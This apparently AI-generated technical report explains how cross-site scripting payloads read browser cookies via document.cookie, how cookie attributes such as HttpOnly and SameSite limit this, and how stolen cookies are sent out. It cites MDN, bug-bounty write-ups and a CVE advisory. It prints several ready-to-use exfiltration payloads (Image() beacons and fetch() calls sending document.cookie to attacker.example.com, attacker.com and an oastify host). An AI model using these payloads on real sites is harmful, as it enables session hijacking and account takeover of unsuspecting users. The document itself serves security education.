ChatGPT

Accessing Cookies via JavaScript

After an XSS payload executes, the injected script runs in the context of the site's origin and can use the standard browser cookie APIs. In practice an attacker uses `document.cookie` in JavaScript, which returns a string of all cookies visible to that page (as `key=value` pairs separated by semicolons) [1]. However, this only includes cookies whose **domain** and **path** attributes match the current page, and which are not marked `HttpOnly`. In other words, the script can only read cookies for its own origin (same scheme, host, and port) and whose path covers the current page [2] [3]. For example, a cookie with `Domain=example.com; Path=/docs` will only be accessible to pages on *example.com* at `/docs` or its sub-paths [2] [3]. If the cookie's `Domain` is unspecified (host-only), it is limited to the exact host (no subdomains) [2]. Similarly, if its `Path` is `/admin`, a page at `/home` cannot see it (though sub-paths of `/admin` can) [3].

Importantly, **HttpOnly** cookies are excluded from `document.cookie`. As MDN documents, *"a cookie with the* `HttpOnly` *attribute can't be accessed by JavaScript"* [4]. In practice this means an XSS script can only read non-HttpOnly cookies. For example, one attack write-up noted that the target's authentication cookie was set with `HttpOnly; Secure; SameSite=Lax`, so the injected script *"couldn't simply steal the authentication cookies via JavaScript"* [5]. All other cookies (session or tracking) will appear in `document.cookie` if they meet the origin/path criteria. (Cookies marked `Secure` are still readable by JS on an HTTPS page — the `Secure` flag only prevents sending them over HTTP [6].)

Cookie Attribute Constraints

HttpOnly: As above, `HttpOnly` effectively blocks any JS theft. If a cookie has this flag, it will never appear in `document.cookie` [4] [5]. The cookie can still be sent to the server on requests, but not accessed by script. For example, the xbz0n write-up showed the auth cookie header: `Set-Cookie: .AUTH=…; path=/; HttpOnly; Secure; SameSite=Lax` and notes *"HttpOnly"* prevented JavaScript from reading it [5].

Secure: The `Secure` flag only means the cookie is sent over HTTPS; it does *not* prevent JavaScript from reading it if the page is loaded via HTTPS. MDN points out that a Secure cookie "will never be sent with unsecured HTTP" but can still be read by JS (unless HttpOnly) [6]. In practice, if XSS runs on an HTTPS page, Secure cookies are accessible by `document.cookie`. (However, if the attacker somehow forces a request over plain HTTP, Secure cookies would be omitted. This is rarely relevant for typical XSS exfiltration since modern sites use HTTPS.)

Domain: A cookie's `Domain` attribute controls which hosts can see it. If no domain is set, the cookie is "host-only" and only the issuing host can read it [2]. If a domain is specified (e.g. `Domain=example.com`), then any subdomain of that domain (e.g. `sub.example.com`) will also send that cookie [2]. Thus, an XSS script on `app.example.com` could read a cookie with `Domain=example.com` (because subdomains inherit), but a cookie set as `Domain=othersite.com` would not be visible. MDN warns that "setting cookies to foreign domains will be silently ignored" [2]. In summary, `document.cookie` only includes cookies whose domain scope includes the current page's host.

Path: The cookie's `Path` works similarly for URL paths. A cookie with `Path=/docs` is only sent for requests whose path begins with `/docs` [3]. As MDN notes, subdirectories match as well (e.g. `/docs/Web/` matches), but a path of `/` is required to send with every page. Importantly, the Path attribute does **not** prevent reading the cookie via JavaScript on a matching page; it only limits which requests include the cookie. MDN explicitly states that the `path` attribute is *"not intended as a security measure, and does not protect against unauthorized reading of the cookie"* [7]. In practice, however, if the XSS runs on a page outside the cookie's path prefix, the cookie simply isn't included in `document.cookie`.

SameSite: The `SameSite` flag restricts when cookies are sent on **cross-site** requests. It does *not* affect whether `document.cookie` can read the cookie (SameSite only governs sending on navigations/XHR). With `SameSite=Strict`, the browser will never send the cookie on any cross-origin request (links, XHR, etc.) [8]. With `SameSite=Lax` (the modern default [9]), the cookie is allowed on top-level GET navigations from other sites but not on other cross-site subrequests [10]. `SameSite=None; Secure` sends the cookie on all requests, including third-party contexts [11]. For XSS exfiltration, SameSite matters if the payload triggers a navigation or form to the original site (which is effectively a cross-site request); Strict or Lax could block such a request's cookie. However, most XSS theft sends the cookie value directly to the attacker's domain (e.g. in the URL or body), so the browser isn't sending the victim's cookie on that cross-site request at all. In short, SameSite may prevent some cross-origin cookie inclusion, but does *not* block the attacker's script from reading or exporting the cookie content it already obtained via `document.cookie` [12] [8].

Exfiltration Techniques

Once `document.cookie` yields the cookie string, the payload must transmit it to the attacker. Common techniques include creating a new image or script tag with a URL pointing to the attacker's server, or using `fetch` / `XMLHttpRequest`. For example, one classic payload is:

```
<script>
  // Example: send cookies via an image GET request
  var img = new Image();
  img.src = "https://attacker.example.com/steal?c=" +
encodeURIComponent(document.cookie);
  document.body.appendChild(img);
</script>
```

This creates a request like `GET /steal?c=<cookie-data>` to the attacker's domain. Because it's a simple GET for an image, the browser has no same-origin restrictions on initiating it. (The cookie itself is embedded in the URL parameter.) This method was demonstrated in practice by BreakDev, where the payload `var img = new Image(); img.src='http://attacker.com/image.php?c='+document.cookie;` was used [13]. Likewise, an attacker might insert an `<img>` tag with the cookie in the `src` URL (as shown in the breakdev example) to achieve the same effect [14] [13].

Another common approach is using `fetch` or XHR. For instance:

```
<script>
  // Example: send cookies via fetch
```

```
  fetch("https://attacker.example.com/steal?cookie=" +
encodeURIComponent(document.cookie));
</script>
```

Here, the malicious script invokes a fetch to the attacker's server, appending the cookie string to the query. One writeup used exactly this, calling `fetch("https://attacker.example.com/" + document.cookie)` [12]. A similar payload could use `XMLHttpRequest`. In either case, because the destination is cross-origin, the browser will *not* include the victim site's cookies in the request headers (they go only to same-origin requests). That's why the cookie value is placed explicitly in the URL or request body. (If the attacker desired, they could add `credentials: 'include'` to a fetch, but without CORS permissions this won't affect including site cookies.)

Other variants include injecting a `<script>` tag pointing to attacker-controlled JS that reads `document.cookie`, or using `navigator.sendBeacon` to POST the data. But the essential pattern is the same: the injected code reads the cookie via `document.cookie` (if allowed) and sends it out to an attacker-controlled URL. In all cases, code examples follow this template, for example:

> *"fetch("https://attacker.com/?cookie="+document.cookie)* [12]

or the image method below.

Browser and Same-Origin Effects

By design, browsers enforce the Same-Origin Policy on cookies. An XSS payload runs as if it were served by the vulnerable site itself, so it can freely read that site's cookies (subject to the attributes above). It cannot read cookies of any other domain or scheme. Likewise, when the script makes an HTTP request, the browser will only attach cookies for the request's target domain/path. For example, if the malicious script sets `img.src = "https://attacker.com/..."`, the request goes to attacker.com and **no** cookies from the victim's site are sent (the attacker domain would have its own cookies, irrelevant here). That is why exfiltration uses the cookie as data rather than relying on browser-sent headers.

The SameSite attribute can further influence whether cookies are automatically sent on certain cross-site navigations. For instance, an XSS payload could attempt to do a `window.location = 'https://vulnerable.example.com/path'`, and `SameSite=Strict` would prevent the cookie from being sent with that cross-site redirect [8]. However, in a direct theft scenario the script almost always sends the cookie value **to the attacker's domain**, so SameSite only matters if the victim's site is making a cross-site subrequest (which is uncommon in basic theft).

In practice, as noted by some exploit writeups, *"the victim's browser automatically includes their authenticated cookies with requests"* to the same origin [15]. In other words, if the injected script were to fetch additional pages on the **same** site (for example, to read CSRF tokens or hidden data), the browser would happily include the session cookie. But when exfiltrating data to a third-party domain (the attacker), the browser does *not* leak cookies by itself. So XSS-based theft always packages `document.cookie` into the payload of the attacker-bound request [13] [12].

Real-World Examples

This technique is common in security reports and bug bounties. For example, a 2017 blog post demonstrated stealing an administrator's session via stored XSS. The attacker injected JavaScript to create an image element:

```
<img src="http://attacker.com/image.php?c='+document.cookie" />
```

The browser then requested that URL and logged the query string, revealing the admin's cookies [14] [13]. In that case the stolen cookie was a JWT session token. The blogger noted *"I have administrator's session token..."* once the image request arrived [16]. The post also explains that if the session cookie had been `HttpOnly`, this attack would have failed [17].

More recently, an April 2025 write-up by a bug hunter described using `fetch` to send a victim's cookies to his Burp Collaborator server [12]. The injected payload was:

```
<script>
  fetch("https://attacker.oastify.com/" + document.cookie)
</script>
```

When a user loaded the comment page, the server log showed the GET request including the victim's cookies in the URL [12] [18]. (The author then discovered the real session cookie was `HttpOnly; SameSite=Lax`, so he pivoted to other techniques [5], but the example clearly illustrates cookie exfiltration via fetch.)

Even high-profile open-source flaws have been exploited for cookie theft. For instance, CVE-2024-47067 (an XSS in the Alist project) allowed attackers to craft a link that triggered an alert with the user's JWT token. The Security Lab advisory shows a proof-of-concept where visiting a malicious URL caused the victim's JWT (stored in a cookie) to be shown via `alert(…)` [19]. This is essentially the same end-goal: the script obtained the cookie and sent it (in this case, to the screen).

In all these cases, the post-payload behavior is the same: JavaScript reads the cookie (e.g. via `document.cookie`) and transmits it out (via an image, fetch, or script). The difference is only in how the cookie was protected (HttpOnly cookies would block these attacks) and how the data was sent. But the mechanics are textbook: once a persistent XSS runs, the attacker can collect any non-HttpOnly cookie in scope and exfiltrate it to their server [13] [12].

Sources: Standards and documentation on `document.cookie` and cookie attributes [1] [3] [4] [8], plus security write-ups illustrating XSS-based cookie exfiltration [13] [12] [19].

---

[1] [2] Document: cookie property - Web APIs | MDN
https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie

[3] [4] [6] [7] [8] [9] [10] [11] Using HTTP cookies - HTTP | MDN
https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies

5 12 15 18 xbz0n@sh:~# XSS to Account Takeover & Data Exfiltration
https://xbz0n.sh/blog/XSS-to-Account-Takeover-and-Data-Exfiltration

13 14 16 17 Sniping Insecure Cookies with XSS
https://breakdev.org/sniping-insecure-cookies-with-xss/

19 GHSL-2023-220: Reflected Cross-Site Scripting (XSS) vulnerability in Alist - CVE-2024-47067 | GitHub Security Lab
https://securitylab.github.com/advisories/GHSL-2023-220_Alist/